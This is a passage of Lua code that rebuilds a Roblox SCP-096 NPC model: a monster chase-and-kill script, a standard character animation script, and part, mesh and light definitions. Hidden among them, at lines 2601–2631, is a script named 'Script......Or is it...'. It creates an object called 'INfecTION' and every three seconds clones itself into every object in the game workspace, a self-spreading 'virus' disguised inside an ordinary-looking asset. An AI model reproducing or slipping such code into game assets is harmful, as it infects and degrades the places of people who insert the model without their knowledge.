  1980. end;
  1981. if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<6 then
  1982. FreeSCP096Kill:Play()
  1983. FoundHumanoid:TakeDamage(99999e99999)
  1984. end
  1985. end
  1986. end
  1987. return torso
  1988. end
  1989. while Wait(0)do
  1990. FreeSCP096Humanoid.MaxHealth=99999e99999
  1991. FreeSCP096Humanoid.Health=99999e99999
  1992. if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoJumpEnabled then
  1993. FreeSCP096Humanoid.AutoJumpEnabled=true;
  1994. end
  1995. if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoRotate then
  1996. FreeSCP096Humanoid.AutoRotate=true;
  1997. end
  1998. if FreeSCP096Humanoid and FreeSCP096Humanoid.PlatformStand then
  1999. FreeSCP096Humanoid.PlatformStand=false;
  2000. end
  2001. if FreeSCP096Humanoid and FreeSCP096Humanoid.Sit then
  2002. FreeSCP096Humanoid.Sit=false;
  2003. end
  2004. if Noticed then
  2005. NoticeDistanceTime=NoticeDistanceTime+1
  2006. if NoticeDistanceTime==500 or NoticeDistanceTime>500 then
  2007. Noticed=false;
  2008. NoticeDistanceTime=0
  2009. end
  2010. end
  2011. local TargetPart=findNearestTorso(FreeSCP096Torso.Position);
  2012. if TargetPart then
  2013. if TargetPart and (TargetPart.Position-FreeSCP096Torso.Position).magnitude<50 and NoticeDistanceTime>0 then
  2014. NoticeDistanceTime=NoticeDistanceTime-2
  2015. end
  2016. if FreeSCP096Idle.IsPlaying then
  2017. FreeSCP096Idle:Stop()
  2018. end
  2019. if not FreeSCP096Scream.IsPlaying then
  2020. FreeSCP096Scream:Play()
  2021. end
  2022. FreeSCP096Humanoid.WalkSpeed=35;
  2023. FreeSCP096Humanoid:MoveTo(TargetPart.Position+Vector3.new(math.random(-4,4),TargetPart.Position.Y,math.random(-4,4)),TargetPart);
  2024. else
  2025. if not FreeSCP096Idle.IsPlaying then
  2026. FreeSCP096Idle:Play()
  2027. end
  2028. if FreeSCP096Scream.IsPlaying then
  2029. FreeSCP096Scream:Stop()
  2030. end
  2031. FreeSCP096Humanoid.WalkSpeed=10;
  2032. local WanderChance=math.random(1,50);
  2033. local JumpChance=math.random(1,100);
  2034. if WanderChance==10 then
  2035. local randompos=FreeSCP096Torso.Position+((Vector3.new(1,0,1)*math.random()-Vector3.new(.5,0,.5))*40);
  2036. FreeSCP096Humanoid:MoveTo(randompos,game.Workspace.Terrain);
  2037. end
  2038. if JumpChance==10 then
  2039. FreeSCP096Humanoid.Jump=true;
  2040. end
  2041. end
  2042. end
  2043. --[[ By: Brutez. ]]--
  2044. end))
  2045. Script108.Name = "Animate"
  2046. Script108.Parent = Model62
  2047. table.insert(cors,sandbox(Script108,function()
  2048. function waitForChild(parent, childName)
  2049. local child = parent:findFirstChild(childName)
  2050. if child then return child end
  2051. while true do
  2052. child = parent.ChildAdded:wait()
  2053. if child.Name==childName then return child end
  2054. end
  2055. end
  2056.  
  2057. local Figure = script.Parent
  2058. local Torso = waitForChild(Figure, "Torso")
  2059. local RightShoulder = waitForChild(Torso, "Right Shoulder")
  2060. local LeftShoulder = waitForChild(Torso, "Left Shoulder")
  2061. local RightHip = waitForChild(Torso, "Right Hip")
  2062. local LeftHip = waitForChild(Torso, "Left Hip")
  2063. local Neck = waitForChild(Torso, "Neck")
  2064. local Humanoid = waitForChild(Figure, "SCP")
  2065. local pose = "Standing"
  2066.  
  2067. local currentAnim = ""
  2068. local currentAnimTrack = nil
  2069. local currentAnimKeyframeHandler = nil
  2070. local currentAnimSpeed = 1.0
  2071. local animTable = {}
  2072. local animNames = {
  2073. idle = {
  2074. { id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
  2075. { id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
  2076. },
  2077. walk = {
  2078. { id = "http://www.roblox.com/asset/?id=125749145", weight = 10 }
  2079. },
  2080. run = {
  2081. { id = "run.xml", weight = 10 }
  2082. },
  2083. jump = {
  2084. { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
  2085. },
  2086. fall = {
  2087. { id = "http://www.roblox.com/asset/?id=125750759", weight = 10 }
  2088. },
  2089. climb = {
  2090. { id = "http://www.roblox.com/asset/?id=125750800", weight = 10 }
  2091. },
  2092. toolnone = {
  2093. { id = "http://www.roblox.com/asset/?id=125750867", weight = 10 }
  2094. },
  2095. toolslash = {
  2096. { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
  2097. -- { id = "slash.xml", weight = 10 }
  2098. },
  2099. toollunge = {
  2100. { id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
  2101. },
  2102. wave = {
  2103. { id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
  2104. },
  2105. point = {
  2106. { id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
  2107. },
  2108. dance = {
  2109. { id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
  2110. { id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
  2111. { id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
  2112. },
  2113. dance2 = {
  2114. { id = "http://www.roblox.com/asset/?id=160934142", weight = 10 },
  2115. { id = "http://www.roblox.com/asset/?id=160934298", weight = 10 },
  2116. { id = "http://www.roblox.com/asset/?id=160934376", weight = 10 }
  2117. },
  2118. dance3 = {
  2119. { id = "http://www.roblox.com/asset/?id=160934458", weight = 10 },
  2120. { id = "http://www.roblox.com/asset/?id=160934530", weight = 10 },
  2121. { id = "http://www.roblox.com/asset/?id=160934593", weight = 10 }
  2122. },
  2123. laugh = {
  2124. { id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
  2125. },
  2126. cheer = {
  2127. { id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
  2128. },
  2129. }
  2130.  
  2131. -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
  2132. local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
  2133.  
  2134. math.randomseed(tick())
  2135.  
  2136. function configureAnimationSet(name, fileList)
  2137. if (animTable[name] ~= nil) then
  2138. for _, connection in pairs(animTable[name].connections) do
  2139. connection:disconnect()
  2140. end
  2141. end
  2142. animTable[name] = {}
  2143. animTable[name].count = 0
  2144. animTable[name].totalWeight = 0
  2145. animTable[name].connections = {}
  2146.  
  2147. -- check for config values
  2148. local config = script:FindFirstChild(name)
  2149. if (config ~= nil) then
  2150. -- print("Loading anims " .. name)
  2151. table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
  2152. table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
  2153. local idx = 1
  2154. for _, childPart in pairs(config:GetChildren()) do
  2155. if (childPart:IsA("Animation")) then
  2156. table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
  2157. animTable[name][idx] = {}
  2158. animTable[name][idx].anim = childPart
  2159. local weightObject = childPart:FindFirstChild("Weight")
  2160. if (weightObject == nil) then
  2161. animTable[name][idx].weight = 1
  2162. else
  2163. animTable[name][idx].weight = weightObject.Value
  2164. end
  2165. animTable[name].count = animTable[name].count + 1
  2166. animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
  2167. -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
  2168. idx = idx + 1
  2169. end
  2170. end
  2171. end
  2172.  
  2173. -- fallback to defaults
  2174. if (animTable[name].count <= 0) then
  2175. for idx, anim in pairs(fileList) do
  2176. animTable[name][idx] = {}
  2177. animTable[name][idx].anim = Instance.new("Animation")
  2178. animTable[name][idx].anim.Name = name
  2179. animTable[name][idx].anim.AnimationId = anim.id
  2180. animTable[name][idx].weight = anim.weight
  2181. animTable[name].count = animTable[name].count + 1
  2182. animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
  2183. -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
  2184. end
  2185. end
  2186. end
  2187.  
  2188. -- Setup animation objects
  2189. function scriptChildModified(child)
  2190. local fileList = animNames[child.Name]
  2191. if (fileList ~= nil) then
  2192. configureAnimationSet(child.Name, fileList)
  2193. end
  2194. end
  2195.  
  2196. script.ChildAdded:connect(scriptChildModified)
  2197. script.ChildRemoved:connect(scriptChildModified)
  2198.  
  2199.  
  2200. for name, fileList in pairs(animNames) do
  2201. configureAnimationSet(name, fileList)
  2202. end
  2203.  
  2204. -- ANIMATION
  2205.  
  2206. -- declarations
  2207. local toolAnim = "None"
  2208. local toolAnimTime = 0
  2209.  
  2210. local jumpAnimTime = 0
  2211. local jumpAnimDuration = 0.3
  2212.  
  2213. local toolTransitionTime = 0.1
  2214. local fallTransitionTime = 0.3
  2215. local jumpMaxLimbVelocity = 0.75
  2216.  
  2217. -- functions
  2218.  
  2219. function stopAllAnimations()
  2220. local oldAnim = currentAnim
  2221.  
  2222. -- return to idle if finishing an emote
  2223. if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
  2224. oldAnim = "idle"
  2225. end
  2226.  
  2227. currentAnim = ""
  2228. if (currentAnimKeyframeHandler ~= nil) then
  2229. currentAnimKeyframeHandler:disconnect()
  2230. end
  2231.  
  2232. if (currentAnimTrack ~= nil) then
  2233. currentAnimTrack:Stop()
  2234. currentAnimTrack:Destroy()
  2235. currentAnimTrack = nil
  2236. end
  2237. return oldAnim
  2238. end
  2239.  
  2240. function setAnimationSpeed(speed)
  2241. if speed ~= currentAnimSpeed then
  2242. currentAnimSpeed = speed
  2243. currentAnimTrack:AdjustSpeed(currentAnimSpeed)
  2244. end
  2245. end
  2246.  
  2247. function keyFrameReachedFunc(frameName)
  2248. if (frameName == "End") then
  2249. -- print("Keyframe : ".. frameName)
  2250. local repeatAnim = stopAllAnimations()
  2251. local animSpeed = currentAnimSpeed
  2252. playAnimation(repeatAnim, 0.0, Humanoid)
  2253. setAnimationSpeed(animSpeed)
  2254. end
  2255. end
  2256.  
  2257. -- Preload animations
  2258. function playAnimation(animName, transitionTime, humanoid)
  2259. local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil)
  2260. if (animName ~= currentAnim and not idleFromEmote) then
  2261.  
  2262. if (currentAnimTrack ~= nil) then
  2263. currentAnimTrack:Stop(transitionTime)
  2264. currentAnimTrack:Destroy()
  2265. end
  2266.  
  2267. currentAnimSpeed = 1.0
  2268. local roll = math.random(1, animTable[animName].totalWeight)
  2269. local origRoll = roll
  2270. local idx = 1
  2271. while (roll > animTable[animName][idx].weight) do
  2272. roll = roll - animTable[animName][idx].weight
  2273. idx = idx + 1
  2274. end
  2275. -- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
  2276. local anim = animTable[animName][idx].anim
  2277.  
  2278. -- load it to the humanoid; get AnimationTrack
  2279. currentAnimTrack = humanoid:LoadAnimation(anim)
  2280.  
  2281. -- play the animation
  2282. currentAnimTrack:Play(transitionTime)
  2283. currentAnim = animName
  2284.  
  2285. -- set up keyframe name triggers
  2286. if (currentAnimKeyframeHandler ~= nil) then
  2287. currentAnimKeyframeHandler:disconnect()
  2288. end
  2289. currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
  2290. end
  2291. end
  2292.  
  2293. -------------------------------------------------------------------------------------------
  2294. -------------------------------------------------------------------------------------------
  2295.  
  2296. local toolAnimName = ""
  2297. local toolAnimTrack = nil
  2298. local currentToolAnimKeyframeHandler = nil
  2299.  
  2300. function toolKeyFrameReachedFunc(frameName)
  2301. if (frameName == "End") then
  2302. -- print("Keyframe : ".. frameName)
  2303. local repeatAnim = stopToolAnimations()
  2304. playToolAnimation(repeatAnim, 0.0, Humanoid)
  2305. end
  2306. end
  2307.  
  2308.  
  2309. function playToolAnimation(animName, transitionTime, humanoid)
  2310. if (animName ~= toolAnimName) then
  2311.  
  2312. if (toolAnimTrack ~= nil) then
  2313. toolAnimTrack:Stop()
  2314. toolAnimTrack:Destroy()
  2315. transitionTime = 0
  2316. end
  2317.  
  2318. local roll = math.random(1, animTable[animName].totalWeight)
  2319. local origRoll = roll
  2320. local idx = 1
  2321. while (roll > animTable[animName][idx].weight) do
  2322. roll = roll - animTable[animName][idx].weight
  2323. idx = idx + 1
  2324. end
  2325. -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
  2326. local anim = animTable[animName][idx].anim
  2327.  
  2328. -- load it to the humanoid; get AnimationTrack
  2329. toolAnimTrack = humanoid:LoadAnimation(anim)
  2330.  
  2331. -- play the animation
  2332. toolAnimTrack:Play(transitionTime)
  2333. toolAnimName = animName
  2334.  
  2335. currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
  2336. end
  2337. end
  2338.  
  2339. function stopToolAnimations()
  2340. local oldAnim = toolAnimName
  2341.  
  2342. if (currentToolAnimKeyframeHandler ~= nil) then
  2343. currentToolAnimKeyframeHandler:disconnect()
  2344. end
  2345.  
  2346. toolAnimName = ""
  2347. if (toolAnimTrack ~= nil) then
  2348. toolAnimTrack:Stop()
  2349. toolAnimTrack:Destroy()
  2350. toolAnimTrack = nil
  2351. end
  2352.  
  2353.  
  2354. return oldAnim
  2355. end
  2356.  
  2357. -------------------------------------------------------------------------------------------
  2358. -------------------------------------------------------------------------------------------
  2359.  
  2360.  
  2361. function onRunning(speed)
  2362. if speed>0.01 then
  2363. playAnimation("walk", 0.1, Humanoid)
  2364. pose = "Running"
  2365. else
  2366. playAnimation("idle", 0.1, Humanoid)
  2367. pose = "Standing"
  2368. end
  2369. end
  2370.  
  2371. function onDied()
  2372. pose = "Dead"
  2373. end
  2374.  
  2375. function onJumping()
  2376. playAnimation("jump", 0.1, Humanoid)
  2377. jumpAnimTime = jumpAnimDuration
  2378. pose = "Jumping"
  2379. end
  2380.  
  2381. function onClimbing(speed)
  2382. playAnimation("climb", 0.1, Humanoid)
  2383. setAnimationSpeed(speed / 12.0)
  2384. pose = "Climbing"
  2385. end
  2386.  
  2387. function onGettingUp()
  2388. pose = "GettingUp"
  2389. end
  2390.  
  2391. function onFreeFall()
  2392. if (jumpAnimTime <= 0) then
  2393. playAnimation("fall", fallTransitionTime, Humanoid)
  2394. end
  2395. pose = "FreeFall"
  2396. end
  2397.  
  2398. function onFallingDown()
  2399. pose = "FallingDown"
  2400. end
  2401.  
  2402. function onSeated()
  2403. pose = "Seated"
  2404. end
  2405.  
  2406. function onPlatformStanding()
  2407. pose = "PlatformStanding"
  2408. end
  2409.  
  2410. function onSwimming(speed)
  2411. if speed>0 then
  2412. pose = "Running"
  2413. else
  2414. pose = "Standing"
  2415. end
  2416. end
  2417.  
  2418. function getTool()
  2419. for _, kid in ipairs(Figure:GetChildren()) do
  2420. if kid.className == "Tool" then return kid end
  2421. end
  2422. return nil
  2423. end
  2424.  
  2425. function getToolAnim(tool)
  2426. for _, c in ipairs(tool:GetChildren()) do
  2427. if c.Name == "toolanim" and c.className == "StringValue" then
  2428. return c
  2429. end
  2430. end
  2431. return nil
  2432. end
  2433.  
  2434. function animateTool()
  2435.  
  2436. if (toolAnim == "None") then
  2437. playToolAnimation("toolnone", toolTransitionTime, Humanoid)
  2438. return
  2439. end
  2440.  
  2441. if (toolAnim == "Slash") then
  2442. playToolAnimation("toolslash", 0, Humanoid)
  2443. return
  2444. end
  2445.  
  2446. if (toolAnim == "Lunge") then
  2447. playToolAnimation("toollunge", 0, Humanoid)
  2448. return
  2449. end
  2450. end
  2451.  
  2452. function moveSit()
  2453. RightShoulder.MaxVelocity = 0.15
  2454. LeftShoulder.MaxVelocity = 0.15
  2455. RightShoulder:SetDesiredAngle(3.14 /2)
  2456. LeftShoulder:SetDesiredAngle(-3.14 /2)
  2457. RightHip:SetDesiredAngle(3.14 /2)
  2458. LeftHip:SetDesiredAngle(-3.14 /2)
  2459. end
  2460.  
  2461. local lastTick = 0
  2462.  
  2463. function move(time)
  2464. local amplitude = 1
  2465. local frequency = 1
  2466. local deltaTime = time - lastTick
  2467. lastTick = time
  2468.  
  2469. local climbFudge = 0
  2470. local setAngles = false
  2471.  
  2472. if (jumpAnimTime > 0) then
  2473. jumpAnimTime = jumpAnimTime - deltaTime
  2474. end
  2475.  
  2476. if (pose == "FreeFall" and jumpAnimTime <= 0) then
  2477. playAnimation("fall", fallTransitionTime, Humanoid)
  2478. elseif (pose == "Seated") then
  2479. stopAllAnimations()
  2480. moveSit()
  2481. return
  2482. elseif (pose == "Running") then
  2483. playAnimation("walk", 0.1, Humanoid)
  2484. elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
  2485. -- print("Wha " .. pose)
  2486. amplitude = 0.1
  2487. frequency = 1
  2488. setAngles = true
  2489. end
  2490.  
  2491. if (setAngles) then
  2492. desiredAngle = amplitude * math.sin(time * frequency)
  2493.  
  2494. RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
  2495. LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
  2496. RightHip:SetDesiredAngle(-desiredAngle)
  2497. LeftHip:SetDesiredAngle(-desiredAngle)
  2498. end
  2499.  
  2500. -- Tool Animation handling
  2501. local tool = getTool()
  2502. if tool then
  2503.  
  2504. animStringValueObject = getToolAnim(tool)
  2505.  
  2506. if animStringValueObject then
  2507. toolAnim = animStringValueObject.Value
  2508. -- message recieved, delete StringValue
  2509. animStringValueObject.Parent = nil
  2510. toolAnimTime = time + .3
  2511. end
  2512.  
  2513. if time > toolAnimTime then
  2514. toolAnimTime = 0
  2515. toolAnim = "None"
  2516. end
  2517.  
  2518. animateTool()
  2519. else
  2520. stopToolAnimations()
  2521. toolAnim = "None"
  2522. toolAnimTime = 0
  2523. end
  2524. end
  2525.  
  2526. -- connect events
  2527. Humanoid.Died:connect(onDied)
  2528. Humanoid.Running:connect(onRunning)
  2529. Humanoid.Jumping:connect(onJumping)
  2530. Humanoid.Climbing:connect(onClimbing)
  2531. Humanoid.GettingUp:connect(onGettingUp)
  2532. Humanoid.FreeFalling:connect(onFreeFall)
  2533. Humanoid.FallingDown:connect(onFallingDown)
  2534. Humanoid.Seated:connect(onSeated)
  2535. Humanoid.PlatformStanding:connect(onPlatformStanding)
  2536. Humanoid.Swimming:connect(onSwimming)
  2537.  
  2538. -- setup emote chat hook
  2539.  
  2540.  
  2541. -- main program
  2542.  
  2543. local runService = game:service("RunService");
  2544.  
  2545. -- initialize to idle
  2546. playAnimation("idle", 0.1, Humanoid)
  2547. pose = "Standing"
  2548.  
  2549. while Figure.Parent~=nil do
  2550. local _, time = wait(0.1)
  2551. move(time)
  2552. end
  2553.  
  2554.  
  2555.  
  2556. end))
  2557. StringValue109.Name = "climb"
  2558. StringValue109.Parent = Script108
  2559. Animation110.Name = "ClimbAnim"
  2560. Animation110.Parent = StringValue109
  2561. Animation110.AnimationId = "http://www.roblox.com/asset/?id=125750800"
  2562. StringValue111.Name = "fall"
  2563. StringValue111.Parent = Script108
  2564. Animation112.Name = "FallAnim"
  2565. Animation112.Parent = StringValue111
  2566. Animation112.AnimationId = "http://www.roblox.com/asset/?id=125750759"
  2567. StringValue113.Name = "idle"
  2568. StringValue113.Parent = Script108
  2569. Animation114.Name = "Animation1"
  2570. Animation114.Parent = StringValue113
  2571. Animation114.AnimationId = "http://www.roblox.com/asset/?id=125750544"
  2572. NumberValue115.Name = "Weight"
  2573. NumberValue115.Parent = Animation114
  2574. NumberValue115.Value = 9
  2575. Animation116.Name = "Animation2"
  2576. Animation116.Parent = StringValue113
  2577. Animation116.AnimationId = "http://www.roblox.com/asset/?id=125750618"
  2578. NumberValue117.Name = "Weight"
  2579. NumberValue117.Parent = Animation116
  2580. NumberValue117.Value = 1
  2581. StringValue118.Name = "jump"
  2582. StringValue118.Parent = Script108
  2583. Animation119.Name = "JumpAnim"
  2584. Animation119.Parent = StringValue118
  2585. Animation119.AnimationId = "http://www.roblox.com/asset/?id=125750702"
  2586. StringValue120.Name = "run"
  2587. StringValue120.Parent = Script108
  2588. Animation121.Name = "RunAnim"
  2589. Animation121.Parent = StringValue120
  2590. Animation121.AnimationId = "rbxassetid://510059034"
  2591. StringValue122.Name = "toolnone"
  2592. StringValue122.Parent = Script108
  2593. Animation123.Name = "ToolNoneAnim"
  2594. Animation123.Parent = StringValue122
  2595. Animation123.AnimationId = "http://www.roblox.com/asset/?id=125750867"
  2596. StringValue124.Name = "walk"
  2597. StringValue124.Parent = Script108
  2598. Animation125.Name = "WalkAnim"
  2599. Animation125.Parent = StringValue124
  2600. Animation125.AnimationId = "http://www.roblox.com/asset/?id=125749145"
  2601. Script126.Name = "Script......Or is it..."
  2602. Script126.Parent = mas
  2603. table.insert(cors,sandbox(Script126,function()
  2604. if script.Parent.className ~= "RotateP" then
  2605. local p = Instance.new("RotateP")
  2606. p.Parent = workspace
  2607. p.Name = "INfecTION"
  2608. script.Parent = p
  2609. end
  2610.  
  2611. function check()
  2612. local list = workspace:GetChildren()
  2613. for i = 1, #list do
  2614. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  2615. script.Parent:Clone().Parent = list[i]
  2616. end
  2617. wait()
  2618. end
  2619. end
  2620.  
  2621. while true do
  2622. check()
  2623. if workspace:findFirstChild("inFECtion") == nil then
  2624. local main = script.Parent:Clone()
  2625. main.Name = "inFECtion"
  2626. main.Parent = workspace
  2627. end
  2628. wait(3)
  2629. end
  2630.  
  2631. end))
  2632. BodyColors127.Parent = Model62
  2633. BodyColors127.HeadColor = BrickColor.new("Institutional white")
  2634. BodyColors127.LeftArmColor = BrickColor.new("Institutional white")
  2635. BodyColors127.LeftLegColor = BrickColor.new("Institutional white")
  2636. BodyColors127.RightArmColor = BrickColor.new("Institutional white")
  2637. BodyColors127.RightLegColor = BrickColor.new("Institutional white")
  2638. BodyColors127.TorsoColor = BrickColor.new("Institutional white")
  2639. CharacterMesh128.Name = "SCP-096 Left Arm"
  2640. CharacterMesh128.Parent = Model62
  2641. CharacterMesh128.MeshId = 75390829
  2642. CharacterMesh128.BaseTextureId = 255692783
  2643. CharacterMesh128.BodyPart = Enum.BodyPart.LeftArm
  2644. CharacterMesh128.OverlayTextureId = 255692783
  2645. CharacterMesh129.Name = "SCP-096 Left Leg"
  2646. CharacterMesh129.Parent = Model62
  2647. CharacterMesh129.MeshId = 32328520
  2648. CharacterMesh129.BaseTextureId = 255692783
  2649. CharacterMesh129.BodyPart = Enum.BodyPart.LeftLeg
  2650. CharacterMesh129.OverlayTextureId = 255692783
  2651. CharacterMesh130.Name = "SCP-096 Right Arm"
  2652. CharacterMesh130.Parent = Model62
  2653. CharacterMesh130.MeshId = 75390843
  2654. CharacterMesh130.BaseTextureId = 255692783
  2655. CharacterMesh130.BodyPart = Enum.BodyPart.RightArm
  2656. CharacterMesh130.OverlayTextureId = 255692783
  2657. CharacterMesh131.Name = "SCP-096 Right Leg"
  2658. CharacterMesh131.Parent = Model62
  2659. CharacterMesh131.MeshId = 32328627
  2660. CharacterMesh131.BaseTextureId = 255692783
  2661. CharacterMesh131.BodyPart = Enum.BodyPart.RightLeg
  2662. CharacterMesh131.OverlayTextureId = 255692783
  2663. CharacterMesh132.Name = "SCP-096 Torso"
  2664. CharacterMesh132.Parent = Model62
  2665. CharacterMesh132.MeshId = 27493004
  2666. CharacterMesh132.BaseTextureId = 255693950
  2667. CharacterMesh132.BodyPart = Enum.BodyPart.Torso
  2668. CharacterMesh132.OverlayTextureId = 255693950
  2669. Model133.Name = "SCP-096"
  2670. Model133.Parent = mas
  2671. Model133.PrimaryPart = Part149
  2672. Part134.Name = "Left Arm"
  2673. Part134.Parent = Model133
  2674. Part134.Material = Enum.Material.SmoothPlastic
  2675. Part134.BrickColor = BrickColor.new("Institutional white")
  2676. Part134.CanCollide = false
  2677. Part134.Elasticity = 0
  2678. Part134.FormFactor = Enum.FormFactor.Symmetric
  2679. Part134.Friction = 2
  2680. Part134.Size = Vector3.new(0.97845608, 3.91382265, 0.97845608)
  2681. Part134.CFrame = CFrame.new(49.9853325, 4.20737314, -91.022995, 0.999991536, 9.59255342e-28, -4.37114238e-08, -1.46411871e-27, 0.999995768, -6.68887362e-28, 4.37120065e-08, 1.02092776e-27, 1)
  2682. Part134.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  2683. Part134.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  2684. Part134.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  2685. Part134.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  2686. Part134.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  2687. Part134.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  2688. Part134.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2689. Part134.Position = Vector3.new(49.9853325, 4.20737314, -91.022995)
  2690. Part134.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2691. Part135.Name = "Left Leg"
  2692. Part135.Parent = Model133
  2693. Part135.Material = Enum.Material.SmoothPlastic
  2694. Part135.BrickColor = BrickColor.new("Institutional white")
  2695. Part135.CanCollide = false
  2696. Part135.Elasticity = 0
  2697. Part135.FormFactor = Enum.FormFactor.Symmetric
  2698. Part135.Friction = 2
  2699. Part135.Size = Vector3.new(0.97845608, 3.91382265, 0.97845608)
  2700. Part135.CFrame = CFrame.new(50.6702461, 1.95693445, -91.022995, 0.999991536, 9.59255342e-28, 4.37106138e-08, -1.46411871e-27, 0.999995768, -6.68887459e-28, -4.37107701e-08, 1.02092776e-27, 1)
  2701. Part135.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  2702. Part135.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  2703. Part135.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  2704. Part135.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  2705. Part135.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  2706. Part135.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  2707. Part135.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2708. Part135.Position = Vector3.new(50.6702461, 1.95693445, -91.022995)
  2709. Part135.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2710. Part136.Name = "Torso"
  2711. Part136.Parent = Model133
  2712. Part136.Material = Enum.Material.SmoothPlastic
  2713. Part136.BrickColor = BrickColor.new("Institutional white")
  2714. Part136.Elasticity = 0
  2715. Part136.FormFactor = Enum.FormFactor.Symmetric
  2716. Part136.Friction = 2
  2717. Part136.Size = Vector3.new(1.95691216, 1.95691133, 0.97845608)
  2718. Part136.CFrame = CFrame.new(51.1594696, 4.89228916, -91.022995, 0.999991536, 9.59255439e-28, -4.0501272e-13, -1.46411871e-27, 0.999995828, -6.6888741e-28, 6.181705e-13, 1.02092786e-27, 1)
  2719. Part136.BackSurface = Enum.SurfaceType.SmoothNoOutlines
  2720. Part136.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
  2721. Part136.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
  2722. Part136.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
  2723. Part136.RightSurface = Enum.SurfaceType.SmoothNoOutlines
  2724. Part136.TopSurface = Enum.SurfaceType.SmoothNoOutlines
  2725. Part136.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2726. Part136.Position = Vector3.new(51.1594696, 4.89228916, -91.022995)
  2727. Part136.Color = Color3.new(0.972549, 0.972549, 0.972549)
  2728. BodyGyro137.Parent = Part136
  2729. BodyGyro137.P = 10000
  2730. PointLight138.Parent = Part136
  2731. PointLight138.Color = Color3.new(1, 0, 0)
  2732. PointLight138.Brightness = 5.0000000692421e+23
  2733. PointLight138.Color = Color3.new(1, 0, 0)
  2734. PointLight139.Parent = Part136
  2735. PointLight139.Color = Color3.new(1, 0, 0)
  2736. PointLight139.Brightness = 5.0000000692421e+23
  2737. PointLight139.Color = Color3.new(1, 0, 0)
  2738. PointLight140.Parent = Part136
  2739. PointLight140.Color = Color3.new(1, 0, 0)
  2740. PointLight140.Brightness = 5.0000000692421e+23
  2741. PointLight140.Color = Color3.new(1, 0, 0)
  2742. PointLight141.Parent = Part136
  2743. PointLight141.Color = Color3.new(1, 0, 0)
  2744. PointLight141.Brightness = 5.0000000692421e+23
  2745. PointLight141.Color = Color3.new(1, 0, 0)
  2746. PointLight142.Parent = Part136
  2747. PointLight142.Color = Color3.new(1, 0, 0)
  2748. PointLight142.Brightness = 5.0000000692421e+23
  2749. PointLight142.Color = Color3.new(1, 0, 0)
  2750. Motor6D143.Name = "Neck"
  2751. Motor6D143.Parent = Part136
  2752. Motor6D143.C0 = CFrame.new(0, 0.978455663, 0, 0.99999994, -0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
  2753. Motor6D143.C1 = CFrame.new(0, -0.489227831, 0, 0.99999994, 0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
  2754. Motor6D143.Part0 = Part136
  2755. Motor6D143.Part1 = Part149
  2756. Motor6D144.Name = "Left Shoulder"
  2757. Motor6D144.Parent = Part136
  2758. Motor6D144.C0 = CFrame.new(1.66337526, 1.17414677, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  2759. Motor6D144.C1 = CFrame.new(0.48922804, 0.489227831, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
  2760. Motor6D144.Part0 = Part134
  2761. Motor6D144.Part1 = Part136
  2762. Motor6D145.Name = "Right Shoulder"
  2763. Motor6D145.Parent = Part136
